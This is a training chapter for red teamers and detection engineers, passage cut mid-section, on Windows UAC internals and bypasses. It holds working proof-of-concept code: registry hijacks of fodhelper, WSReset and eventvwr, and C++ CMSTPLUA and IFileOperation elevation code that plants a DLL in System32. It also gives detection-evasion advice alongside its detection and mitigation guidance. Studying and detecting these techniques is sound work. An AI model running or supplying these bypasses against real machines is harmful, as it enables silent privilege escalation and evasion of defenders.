> **Audience / level:** Red team operators and detection engineers; no UAC internals background assumed, ramping to advanced tradecraft. **Prerequisites:** basic Windows administration (registry, services, scheduled tasks), PowerShell literacy, and COM fundamentals (CLSID, moniker, activation). **Estimated reading time:** 90–120 minutes.
|
||||||
|
> After this chapter you will be able to explain how UAC elevation actually works, turn auto-approved COM classes into silent High-integrity execution, reproduce nine documented bypass families in a lab, and predict the telemetry each one leaves behind.
|
||||||
|
|
||||||
|
**Contents**
|
||||||
|
- [1. UAC internals: what is being bypassed](#1-uac-internals-what-is-being-bypassed)
|
||||||
|
- [2. The COM connection: elevation moniker and auto-approved classes](#2-the-com-connection-elevation-moniker-and-auto-approved-classes)
|
||||||
|
- [3. Technique catalog](#3-technique-catalog) — nine families: registry shell-association hijacks; CMSTPLUA/ICMLuaUtil; IFileOperation; ElevatedFactoryServer; DLL hijacking; mock trusted directories; SilentCleanup; token manipulation/AppInfo abuse; CVE-2019-1388
|
||||||
|
- [4. Tooling: UACME, Akagi, and validation frameworks](#4-tooling-uacme-akagi-and-validation-frameworks)
|
||||||
|
- [5. Detection and hunting](#5-detection-and-hunting)
|
||||||
|
- [6. Mitigations and hardening](#6-mitigations-and-hardening)
|
||||||
|
- [Research Lab: Finding New UAC Bypasses](#research-lab-finding-new-uac-bypasses)
|
||||||
|
- [References](#references)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. UAC internals: what is being bypassed
|
||||||
|
|
||||||
|
User Account Control (UAC), introduced in Windows Vista, forces even members of the local Administrators group to run with a **filtered** standard-user token until a process explicitly requests elevation ([3]). A "UAC bypass" is any technique that obtains a High-integrity, full-administrator process **without** the interactive consent or credential prompt ([2]). Everything in this chapter is a way to short-circuit one specific hop of the elevation pipeline described below.
|
||||||
|
|
||||||
|
> **Beginner note:** A **token** is the kernel object that carries a logon session's identity: user and group SIDs, privileges, and an integrity level. A **filtered token** (also called a restricted or limited token) is a copy of the administrator's real token with the powerful group SIDs and privileges stripped out — produced by `NtFilterToken`. The two tokens are *linked*: the full one is kept by the system and can be reached through the `TokenLinkedToken` information class, which is exactly what legitimate elevation retrieves.
|
||||||
|
|
||||||
|
**Split tokens at logon.** When a "protected administrator" (an admin running in Admin Approval Mode) logs on interactively, LSASS (`lsass.exe`) creates two linked tokens: the full-privilege token and the filtered token. `explorer.exe` — and therefore every program you start from the shell — runs on the filtered token at Medium integrity ([3]). Token state is queryable via `GetTokenInformation`/`NtQueryInformationToken` with `TOKEN_ELEVATION_TYPE` (`TokenElevationTypeDefault`=1, `TokenElevationTypeFull`=2, `TokenElevationTypeLimited`=3), `TokenElevation`, `TokenLinkedToken`, and `TokenIntegrityLevel`.
|
||||||
|
|
||||||
|
> **Beginner note:** **Mandatory Integrity Control (MIC)** labels every securable object and every token with an **integrity level (IL)**, encoded as a mandatory-label SID of the form `S-1-16-x`. The write rule is "no write up": a process cannot modify objects labeled above its own IL. **UIPI** (User Interface Privilege Isolation) applies the same idea to window messages: a lower-IL process cannot send input to a higher-IL window unless the sender's manifest sets `uiAccess="true"` and the binary is signed and installed in a secure location.
|
||||||
|
|
||||||
|
| Integrity level | RID `x` in `S-1-16-x` | Hex | Typical holder |
|
||||||
|
|---|---|---|---|
|
||||||
|
| Untrusted | 0 | 0x0 | Anonymous / heavily sandboxed |
|
||||||
|
| Low | 4096 | 0x1000 | Browsers, sandboxed renderers |
|
||||||
|
| Medium | 8192 | 0x2000 | Default user processes (filtered admin token) |
|
||||||
|
| Medium Plus | 8448 | 0x2100 | `explorer.exe` (Vista-era) |
|
||||||
|
| High | 12288 | 0x3000 | Elevated administrator processes |
|
||||||
|
| System | 16384 | 0x4000 | `NT AUTHORITY\SYSTEM` services |
|
||||||
|
| Protected | 20480 | 0x5000 | Protected processes (PPL) |
|
||||||
|
|
||||||
|
**The elevation pipeline.** When a process needs elevation — its manifest declares `requestedExecutionLevel level="requireAdministrator"`, or the caller used `ShellExecuteEx` with `lpVerb="runas"` — process creation fails with `ERROR_ELEVATION_REQUIRED` (740) and the request is forwarded to the **Application Information service** (AppInfo; `appinfo.dll` hosted in `svchost.exe`, historically `C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo`, with per-service hosting on Windows 10 1703+). AppInfo is the elevation broker: it evaluates policy, manifest, signature, and path trust, then asks the user. James Forshaw documented its local RPC/ALPC interface — UUID `{201ef99a-7fa0-444c-9399-19ba84f12a1a}` — and the `RAiLaunchAdminProcess` call that ultimately starts the approved process ([7]).
|
||||||
|
|
||||||
|
> **Beginner note:** **consent.exe** is the Consent UI — the dimmed-screen "Do you want to allow this app to make changes?" dialog. AppInfo launches it as `NT AUTHORITY\SYSTEM` at System integrity on the **Secure Desktop**, a separate Winlogon desktop where only SYSTEM-trusted processes can render or receive input, which defeats UI spoofing (unless weakened with `PromptOnSecureDesktop=0`). On approval, AppInfo creates the new process with the full token at High IL; on denial, nothing runs.
|
||||||
|
|
||||||
|
**Policy knobs** live under `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System` ([4]):
|
||||||
|
|
||||||
|
| Value | Default | Meaning |
|
||||||
|
|---|---|---|
|
||||||
|
| `EnableLUA` | 1 | 0 disables UAC entirely (breaks Store apps) |
|
||||||
|
| `ConsentPromptBehaviorAdmin` (CPBA) | 5 | 0 = elevate without prompting; 1 = credentials on secure desktop; 2 = consent on secure desktop ("Always notify"); 3 = credentials; 4 = consent; 5 = consent for non-Windows binaries |
|
||||||
|
| `ConsentPromptBehaviorUser` | — | 0 = auto-deny; 1 = credentials on secure desktop; 3 = credentials |
|
||||||
|
| `PromptOnSecureDesktop` (POSD) | 1 | 0 = consent UI on the interactive desktop (UI-spoofable) |
|
||||||
|
| `FilterAdministratorToken` | 0 | Built-in Administrator has **no** split token and auto-elevates everything — UAC bypass is moot there |
|
||||||
|
| `ValidateAdminCodeSignatures` | 0 | Require elevated binaries to be signed |
|
||||||
|
| `EnableSecureUIAPaths` | 1 | Restrict `uiAccess="true"` to secure locations |
|
||||||
|
| `LocalAccountTokenFilterPolicy` | 0 | "Remote UAC" token filtering for local accounts over the network — a lateral-movement concern (see the DCOM chapter), not a local-bypass knob |
|
||||||
|
|
||||||
|
The UI slider maps onto policy: *Always notify* = CPBA 2 / POSD 1; *Default* = CPBA 5 / POSD 1; *no-dim* = CPBA 5 / POSD 0; *Never notify* = CPBA 0 / POSD 0 ([4]). `COMAutoApprovalList`, the registry list of COM classes approved for silent elevation, is covered in section 2.
|
||||||
|
|
||||||
|
**Auto-elevation — the "backdoor" everyone abuses.** Since Windows 7, to reduce prompt fatigue, a process elevates with **no prompt** when all of the following hold: (a) its manifest sets `autoElevate="true"` (or it sits on AppInfo's internal auto-approve EXE list, e.g. `mmc.exe`), (b) it resides in a trusted secure directory (`%SystemRoot%\System32` and similar), (c) it is signed by the Microsoft/Windows publisher, and (d) policy is at default (CPBA=5) ([3], [4]). Two further silent-elevation surfaces exist: approved COM classes (`COMAutoApprovalList`) and certain scheduled tasks configured to run "with highest privileges."
|
||||||
|
|
||||||
|
> **Key idea:** Every bypass family in section 3 poisons exactly one of these trust inputs: *what the auto-elevated binary resolves* (registry shell associations), *what it loads* (DLL search order), *where it "lives"* (mock trusted directories), *what environment it inherits* (`%windir%`, profiler variables), or *which COM class AppInfo auto-approves*.
|
||||||
|
|
||||||
|
**UAC is not a security boundary — and what a bypass gains.** Microsoft explicitly declines to service UAC bypasses as security vulnerabilities: the MSRC reply quoted in public research reads "we don't consider UAC a hard security boundary, but rather, a customizable enhancement..." (MSRC case 64957, per Stefan Kanthak ([21]); see the Microsoft Security Servicing Criteria ([6])). The practical consequences: most bypasses never receive CVEs or patches, they die only through incidental OS hardening, and the reference corpus (UACME, section 4) still lists roughly 25+ working methods as of v3.7.x in 2026 ([1]). Operationally, a bypass converts code execution *as a protected admin at Medium IL* into a High-IL full-token process **silently** — no prompt to scare the user, no credentials to steal. It presupposes you already run code as an admin-group user; from a standard user there is nothing to bypass. It yields High IL, not SYSTEM — unless you chain further (section 3.4 yields SYSTEM directly). At least 60 named threat groups and malware families use T1548.002 in the wild, including LockBit 2.0/3.0, BlackCat, Avaddon, BADHATCH, Raspberry Robin, Saint Bot, ZeroT, Pupy, WarzoneRAT, and KONNI ([2]).
|
||||||
|
|
||||||
|
> **Legal:** Every technique here executes code with elevated privileges on a machine. Use only inside an authorized engagement with written scope, or in your own lab VMs. Several families are near-zero-false-positive detection opportunities — expect competent blue teams to catch lazy execution.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. The COM connection: elevation moniker and auto-approved classes
|
||||||
|
|
||||||
|
COM enters the UAC story through a documented Microsoft feature: the **COM Elevation Moniker** ([5]). Instead of `CoCreateInstance`, the client binds an object by name:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
CoGetObject(L"Elevation:Administrator!new:{CLSID}", &bind_opts, riid, &ppv);
|
||||||
|
```
|
||||||
|
|
||||||
|
with `BIND_OPTS3.dwClassContext = CLSCTX_LOCAL_SERVER`. This requests an **out-of-process, elevated** COM server: the activation request goes through AppInfo, which applies the same trust evaluation as for an EXE launch. For classes on the `COMAutoApprovalList` — `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList` — activation from a Medium-IL caller on default UAC policy is **silent**: consent.exe never runs ([5], [39]).
|
||||||
|
|
||||||
|
> **Beginner note:** A **moniker** is COM's "object by name" mechanism: a string like `Elevation:Administrator!new:{...}` encodes *how* to bind (elevated, as administrator, new instance) plus *what* to bind (the CLSID). `CoGetObject` parses the string, delegates to the moniker implementation, and returns an interface pointer — here, a pointer into a High-IL server process. Per-class elevation support is flagged in the registry by an `Elevation` subkey with `Enabled` = 1 under `HKCR\CLSID\{...}`; approval for *silent* elevation additionally requires the class to be listed in `COMAutoApprovalList` ([5]).
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: a Medium-IL caller issuing `CoGetObject("Elevation:Administrator!new:{CLSID}")` reaches AppInfo, which consults the auto-elevation criteria (autoElevate manifest, signature, secure directory, or the class-level `Elevation\Enabled` registration and `COMAutoApprovalList`). The red path is the one this chapter weaponizes — a silent High-IL object; the slate path is the consent prompt every bypass is trying to avoid.*
|
||||||
|
|
||||||
|
The conceptual shift matters for offense: EXE-based auto-elevation asks AppInfo "do I trust this *program*?", while COM auto-elevation asks "do I trust this *class*?" — and trusted classes expose *methods*. If any reachable method on an auto-approved class lets you start a process, write a file, or edit the registry, you own a silent Medium-to-High primitive ([23], [39]).
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: lane A is the normal path (Medium-IL process → AppInfo → consent prompt → High-IL process). Lane B is the COM path: activating an auto-elevated class returns a High-IL object with no prompt at all, and its methods — e.g. `IFileOperation.CopyItem` — then act with elevated rights, such as writing into `%windir%\System32`.*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Technique catalog
|
||||||
|
|
||||||
|
Nine bypass families, each with mechanics, prerequisites, a runnable PoC, and its telemetry. UACME method numbers are cited as `[UACME #n]`; "fixed in" data is verbatim from the UACME v3.7.x README ([1]). Remember the standing caveat: **"unfixed" means "UACME-listed unfixed"**, not a guarantee on a specific patched build — independent testers report inconsistent behavior across 22H2–25H2 from silent hardening and AV/EDR interference, so always re-verify in a lab matching your target build.
|
||||||
|
|
||||||
|
Two catalogued surfaces are summarized here rather than given full templates. **UIPI/`uiAccess` GUI hacks:** hijack `duser.dll`/`osksupport.dll` into `osk.exe`, then leverage `uiAccess` to drive an elevated window (#32, xi-tauw, UNFIXED); or duplicate/modify a UIAccess token while lowering the IL, keeping `uiAccess` to send synthetic input across the boundary (#55/#79, Forshaw/Kanthak — fixed RS5 17763 plus 2024 hardening that strips UIAccess when the IL is lowered; targets `osk.exe`, `msconfig.exe`, `mmc.exe`) ([41]). **Appcompat/misc:** the RedirectEXE shim (#4 — Downdelph built custom SDBs; fixed via KB3045645/KB3048097 and `sdbinst` auto-elevation removal), a shim memory patch (#11), the InfDefaultInstall whitelist (#28 — MS14-060/Sandworm; removed from the auto-approve EXE list), an auto-elevate manifest trick on manifest-less MS binaries (`taskhost`/`tzsync`, #18, fixed RS1 14371), and .NET deserialization in Event Viewer (#73, orange_8361 + antonioCoco, fixed 24H2 by the EventViewer redesign) ([1]).
|
||||||
|
|
||||||
|
### 3.1 Registry shell-association hijacks (fodhelper, computerdefaults, eventvwr, sdclt, WSReset)
|
||||||
|
|
||||||
|
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) · **Since:** 2016–2019, enigma0x3 / winscripting.blog / Hashim Jawad / others below · **Affects:** Windows 7 through Windows 11, per binary (table below)
|
||||||
|
|
||||||
|
The most popular family, and fully fileless. The generic principle: an auto-elevating EXE internally `ShellExecute`s a protocol or file association; the per-user hive `HKCU\Software\Classes` overrides `HKLM\Software\Classes`, is writable at Medium IL, and the elevated process resolves the verb from the attacker's hive — executing the attacker's `(Default)` command with its inherited High-integrity token. No prompt, no file copy into protected paths.
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. Choose an auto-elevated binary that resolves a shell association at runtime (table below).
|
||||||
|
2. Write the association's verb command under `HKCU\Software\Classes\<ProgID-or-protocol>\shell\open\command` (or `Shell\Open\command`), pointing `(Default)` at the payload.
|
||||||
|
3. Empty the verb's `DelegateExecute` value — **this step is critical**: when `DelegateExecute` is populated, the shell routes the verb to the registered COM handler and ignores your `(Default)` command.
|
||||||
|
4. Launch the auto-elevated binary. It auto-elevates silently (default policy), queries the association, and starts the payload at High IL.
|
||||||
|
5. Delete the planted key for cleanup.
|
||||||
|
|
||||||
|
| Binary | Hijacked key | Builds | Status / UACME | Source |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| `fodhelper.exe` (Manage Optional Features) | `HKCU\Software\Classes\ms-settings\Shell\Open\command` | Win10 10240 → Win11 | UNFIXED (#33; protocol variant #67 Arush Agarampur; ProgID variant #70 V3ded ([43])) | winscripting.blog, May 12 2017 ([12]) |
|
||||||
|
| `computerdefaults.exe` | same `ms-settings` key | Win10 RS4 17134+ | UNFIXED (#62) | winscripting.blog ([12]) |
|
||||||
|
| `eventvwr.exe` | `HKCU\Software\Classes\mscfile\shell\open\command` | Win7–10 | FIXED in Win10 RS2/1703 build 15031+ (Event Viewer redesigned) | Matt Nelson + Matt Graeber, Aug 15 2016 ([8]) |
|
||||||
|
| `sdclt.exe` wave 1 (App Paths) | `HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe` | Win10 10240–16215 | FIXED RS3 (#29) | enigma0x3, Mar 14 2017 ([10]) |
|
||||||
|
| `sdclt.exe` wave 2 (Folder) | `HKCU\Software\Classes\Folder\shell\open\command` | Win10 10240–17025 | FIXED RS4 (#31) | enigma0x3, Mar 17 2017 ([11]) |
|
||||||
|
| `sdclt.exe` wave 3 (ShellRegMod) | registry modification variant | Win10 14393+ | UNFIXED (#53) | Emeric Nasi / sevagas ([16]) |
|
||||||
|
| `WSReset.exe` | `HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command` | Win10 17134/1803–1809 | #56 FIXED Win11 22000; protocol variant #68 (Arush Agarampur) UNFIXED from 17763 | Hashim Jawad, Mar 2019 ([15]) |
|
||||||
|
|
||||||
|
Adjacent surfaces worth knowing: `slui.exe`/`changepk.exe` (#45 fixed 19041; #61 UNFIXED from 14393), COM-handler hijack under `HKCU\Software\Classes\CLSID\{...}` against `mmc.exe`/`recdisc.exe` (#40/#47, fixed 19H1 18362), and a `BitlockerWizardElev` race (#46, fixed RS4) ([1]). In the wild: fodhelper via Earth Lusca, Raspberry Robin, Saint Bot, KOCTOPUS; eventvwr via ZeroT, Pupy, Koadic, BitPaymer, Grandoreiro ([2]).
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Code execution as a protected administrator (Medium IL); `HKCU` is writable |
|
||||||
|
| OS/build | Per table; fodhelper/computerdefaults are the modern defaults |
|
||||||
|
| Config | Default UAC policy (CPBA=5); "Always notify" (CPBA=2) blocks the family |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# fodhelper — the canonical chain ([12])
|
||||||
|
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "C:\path\payload.exe" /f
|
||||||
|
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /d "" /f
|
||||||
|
C:\Windows\System32\fodhelper.exe # payload starts at High IL
|
||||||
|
reg delete "HKCU\Software\Classes\ms-settings" /f # cleanup
|
||||||
|
# WSReset — ms-windows-store AppID verb ([15])
|
||||||
|
reg add "HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command" /ve /d "C:\path\payload.exe" /f
|
||||||
|
reg add "HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command" /v DelegateExecute /d "" /f
|
||||||
|
C:\Windows\System32\WSReset.exe
|
||||||
|
# eventvwr (pre-15031 only) — mscfile verb ([8])
|
||||||
|
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /d "C:\path\payload.exe" /f
|
||||||
|
C:\Windows\System32\eventvwr.exe # eventvwr -> mmc.exe eventvwr.msc -> payload High IL
|
||||||
|
```
|
||||||
|
|
||||||
|
(Metasploit ships `exploit/windows/local/bypassuac_eventvwr` for the legacy variant ([38]); Atomic Red Team covers fodhelper, eventvwr, sdclt, and WSReset #23 ([31]) — see section 4.)
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Sysmon 12/13** on the §5 registry paths — the write of `(Default)` plus an emptied `DelegateExecute`, followed within seconds by the matching System32 binary, is the classic automated chain (Splunk "WSReset UAC Bypass" ([33]); Sigma has per-technique `registry_set` rules ([37])).
|
||||||
|
- **Sysmon 1:** a High-integrity child process (`cmd.exe`/`powershell.exe`/payload in user paths) whose parent is a known auto-elevate binary is near-zero false positive (Splunk "FodHelper UAC Bypass" ([32]), "Windows UAC Bypass Suspicious Child Process" ([36])).
|
||||||
|
- **Reduce noise:** write, launch, clean up in quick succession; prefer payloads whose `Image` is a signed binary; remember the registry write happens at Medium IL and is fully visible to EDR even when the elevated child is not.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Set the slider to *Always notify* (CPBA=2, POSD=1) — kills this family outright ([4]).
|
||||||
|
- WDAC/AppLocker rules blocking child processes of auto-elevate binaries; audit `HKCU\Software\Classes\` association keys for the watched ProgIDs ([44]).
|
||||||
|
|
||||||
|
### 3.2 CMSTPLUA and ICMLuaUtil (elevated ShellExec and friends)
|
||||||
|
|
||||||
|
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) · **Since:** Oddvar Moe, [UACME #41] · **Affects:** Windows 7 7600 → present, UNFIXED ([1])
|
||||||
|
|
||||||
|
The elevated-COM workhorse. The COM class `CMSTPLUA` (CLSID `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}`, implemented by `cmluautil.dll`) is auto-approved for silent elevation and exposes the undocumented interface `ICMLuaUtil` (IID `{6EDD6D74-C007-4E75-B76A-E5740995E24C}`), whose `ShellExec` method starts an arbitrary process from the elevated server ([1], [22]). Used in the wild by Avaddon, BADHATCH, LockBit 3.0, FudCrypt, and the 2026 JDownloader supply-chain malware ([2], [23]); elevated COM abuse also appears in in-memory loaders dropping ScreenConnect ([45]).
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: activation of `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` through the elevation moniker yields an auto-elevated object; binding `ICMLuaUtil` and calling `ShellExec("cmd.exe", ...)` produces a High-IL child process. The variant note marks `SetRegistryStringValue` — an elevated registry write off the same interface.*
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. `CoInitializeEx`, then build the moniker string `Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}`.
|
||||||
|
2. `CoGetObject` with `BIND_OPTS3` (`dwClassContext = CLSCTX_LOCAL_SERVER`) — AppInfo finds the class on `COMAutoApprovalList` and starts the elevated COM server with no consent UI.
|
||||||
|
3. Query the returned object for `ICMLuaUtil` (`{6EDD6D74-C007-4E75-B76A-E5740995E24C}`).
|
||||||
|
4. Call `ShellExec` — signature (undocumented; sits at the vtable slot after six placeholder methods): `HRESULT ShellExec(LPCWSTR lpFile, LPCWSTR lpParameters, LPCWSTR lpDirectory, ULONG fMask, ULONG nShow)` — e.g. `ShellExec(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW)` → elevated process, no prompt on default UAC ([1], [22]).
|
||||||
|
5. Variants on the same interface: `ICMLuaUtil::CallCustomActionDll` runs an arbitrary DLL export elevated ([22]); the assigned chain diagram notes a `SetRegistryStringValue` method for elevated registry writes (signature not documented in our sources — verify in lab).
|
||||||
|
6. Modern wrinkle (2024–2026 research, codedintrusion / g3tsyst3m): on current Win10/11 builds real-world loaders add **PEB masquerading** before `CoGetObject` — overwriting `PEB.ImagePathName`/`FullPath` to pose as a trusted binary such as `explorer.exe`/`conhost.exe` — because AppInfo scrutinizes the caller ([22], [23]).
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Medium-IL process of a protected administrator |
|
||||||
|
| OS/build | Windows 7 7600 → present per UACME; behavior on latest builds is version-dependent (verify in lab) |
|
||||||
|
| Config | Default UAC policy; class must remain on `COMAutoApprovalList` |
|
||||||
|
| Tooling | Compiled C/C++ (or reflective loader); no documented PowerShell one-liner for the raw interface |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
// Minimal CMSTPLUA bypass — bind the elevated object, ShellExec a command ([1], [22])
|
||||||
|
#include <windows.h>
|
||||||
|
#include <objbase.h>
|
||||||
|
|
||||||
|
const CLSID CLSID_CMSTPLUA = {0x3E5FC7F9,0x9A51,0x4367,{0x90,0x63,0xA1,0x20,0x24,0x4F,0xBE,0xC7}};
|
||||||
|
const IID IID_ICMLuaUtil = {0x6EDD6D74,0xC007,0x4E75,{0xB7,0x6A,0xE5,0x74,0x09,0x95,0xE2,0x4C}};
|
||||||
|
|
||||||
|
// Undocumented interface; vtable layout per public reversing ([22]): six placeholders, then ShellExec
|
||||||
|
struct ICMLuaUtil : IUnknown {
|
||||||
|
virtual HRESULT STDMETHODCALLTYPE r0()=0; virtual HRESULT STDMETHODCALLTYPE r1()=0;
|
||||||
|
virtual HRESULT STDMETHODCALLTYPE r2()=0; virtual HRESULT STDMETHODCALLTYPE r3()=0;
|
||||||
|
virtual HRESULT STDMETHODCALLTYPE r4()=0; virtual HRESULT STDMETHODCALLTYPE r5()=0;
|
||||||
|
virtual HRESULT STDMETHODCALLTYPE ShellExec(LPCWSTR f, LPCWSTR p, LPCWSTR d, ULONG m, ULONG s)=0;
|
||||||
|
};
|
||||||
|
|
||||||
|
int wmain() {
|
||||||
|
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
||||||
|
BIND_OPTS3 bo = {}; bo.cbStruct = sizeof(bo);
|
||||||
|
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
|
||||||
|
ICMLuaUtil* p = NULL;
|
||||||
|
HRESULT hr = CoGetObject(L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}",
|
||||||
|
&bo, IID_ICMLuaUtil, (void**)&p);
|
||||||
|
if (SUCCEEDED(hr)) { // 0 == SEE_MASK_DEFAULT; failure means policy/build blocked the silent bind
|
||||||
|
p->ShellExec(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, 0, SW_SHOW);
|
||||||
|
p->Release();
|
||||||
|
}
|
||||||
|
CoUninitialize();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Process lineage:** the elevated child appears under a COM surrogate/`dllhost`-style host rather than under your Medium-IL process — but the *grandchild* (`cmd.exe` at High IL with no `consent.exe` on the wire) is the tell: silent elevation events without a consent prompt are a documented hunting pattern (section 5).
|
||||||
|
- **String indicators:** the literal `Elevation:Administrator!new:` moniker and the CLSID `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` — frequently stored reversed or XORed in malware (T1027); hunt both forms. **PEB masquerading** defeats naive parent-image checks; correlate with Sysmon EID 10 (process access) around activation time.
|
||||||
|
- **Reduce noise:** prefer `CallCustomActionDll` or `SetRegistryStringValue`-style side effects over spawning `cmd.exe`; keep payloads inside signed LOLBins so the High-IL child's `Image` blends in.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- *Always notify* policy blocks the silent activation ([4]).
|
||||||
|
- WDAC/AppLocker child-process and user-writable-path DLL rules; alert on any process binding auto-approved elevated classes outside known system components; monitor `COMAutoApprovalList` for tampering ([44]).
|
||||||
|
|
||||||
|
### 3.3 IFileOperation (privileged file copy into protected directories)
|
||||||
|
|
||||||
|
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) · **Since:** Leo Davidson lineage; underpins [UACME #1–#3, #8, #10, #12–#23, #57, #77] · **Affects:** Windows 7 → present, UNFIXED ([1])
|
||||||
|
|
||||||
|
`IFileOperation` is the documented shell copy interface (`shobjidl_core.h`) exposed by the class `CLSID_FileOperation` = `{3AD05575-8857-4850-9277-11B85BDB8E09}` — and that class is auto-approved for silent elevation. Bound through the elevation moniker, it gives a Medium-IL process a **privileged copy primitive**: write attacker files into `%SystemRoot%\System32` (or the `sysprep` directory) without ever touching `CreateFile` with elevated rights itself. This is the classic arming step for the DLL-hijack family (section 3.5); WarzoneRAT uses it on older OSes ([1], [2]).
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: (1) bind elevated `IFileOperation {3AD05575-8857-4850-9277-11B85BDB8E09}`, (2) set silent operation flags, (3) `CopyItem` the payload DLL into `C:\Windows\System32\...`, (4) `PerformOperations()`, then (5) an auto-elevated process loads the planted DLL. The teal note marks the defensive signal: a Medium-IL process writing into System32 via COM.*
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. `CoGetObject(L"Elevation:Administrator!new:{3AD05575-8857-4850-9277-11B85BDB8E09}", ...)` with `BIND_OPTS3`/`CLSCTX_LOCAL_SERVER` → elevated `IFileOperation` ([1]).
|
||||||
|
2. `SetOperationFlags(FOFX_SILENT | FOF_NOCONFIRMATION | FOFX_NOCONFIRMMKDIR | FOF_NOERRORUI)` — suppress every UI and confirmation path.
|
||||||
|
3. Build `IShellItem`s for the source DLL and destination folder; `CopyItem(src, destFolder, NULL, NULL)`.
|
||||||
|
4. `PerformOperations()` — the copy executes with High-IL rights, landing the DLL inside the protected directory.
|
||||||
|
5. Launch the auto-elevated binary whose import table resolves the planted DLL name first (section 3.5) → attacker code runs inside a High-IL Microsoft-signed process.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Medium-IL process of a protected administrator |
|
||||||
|
| OS/build | Windows 7 → present per UACME (verify exact copy semantics per build in lab) |
|
||||||
|
| Config | Default UAC policy |
|
||||||
|
| Payload | A DLL matching the target binary's hijackable import (name, exports, architecture) |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
// IFileOperation elevated copy — plant evil.dll into System32\sysprep (arming step) ([1])
|
||||||
|
#include <windows.h>
|
||||||
|
#include <shobjidl.h>
|
||||||
|
#include <shlobj.h>
|
||||||
|
|
||||||
|
const CLSID CLSID_FileOperation = {0x3AD05575,0x8857,0x4850,{0x92,0x77,0x11,0xB8,0x5B,0xDB,0x8E,0x09}};
|
||||||
|
|
||||||
|
int wmain() {
|
||||||
|
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
||||||
|
BIND_OPTS3 bo = {}; bo.cbStruct = sizeof(bo);
|
||||||
|
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
|
||||||
|
IFileOperation* pfo = NULL;
|
||||||
|
HRESULT hr = CoGetObject(L"Elevation:Administrator!new:{3AD05575-8857-4850-9277-11B85BDB8E09}",
|
||||||
|
&bo, IID_IFileOperation, (void**)&pfo);
|
||||||
|
if (SUCCEEDED(hr)) {
|
||||||
|
pfo->SetOperationFlags(FOFX_SILENT | FOF_NOCONFIRMATION | FOFX_NOCONFIRMMKDIR | FOF_NOERRORUI);
|
||||||
|
IShellItem *src = NULL, *dst = NULL;
|
||||||
|
SHCreateItemFromParsingName(L"C:\\Users\\attacker\\evil-cryptbase.dll", NULL, IID_IShellItem, (void**)&src);
|
||||||
|
SHCreateItemFromParsingName(L"C:\\Windows\\System32\\sysprep", NULL, IID_IShellItem, (void**)&dst);
|
||||||
|
pfo->CopyItem(src, dst, NULL, NULL);
|
||||||
|
pfo->PerformOperations(); // file lands in the protected directory
|
||||||
|
src->Release(); dst->Release(); pfo->Release();
|
||||||
|
}
|
||||||
|
CoUninitialize();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Sysmon 11 (file create):** a write into `%SystemRoot%\System32` (or `...\sysprep`) attributed to a Medium-IL, non-system process is the canonical signal — the figure's teal note.
|
||||||
|
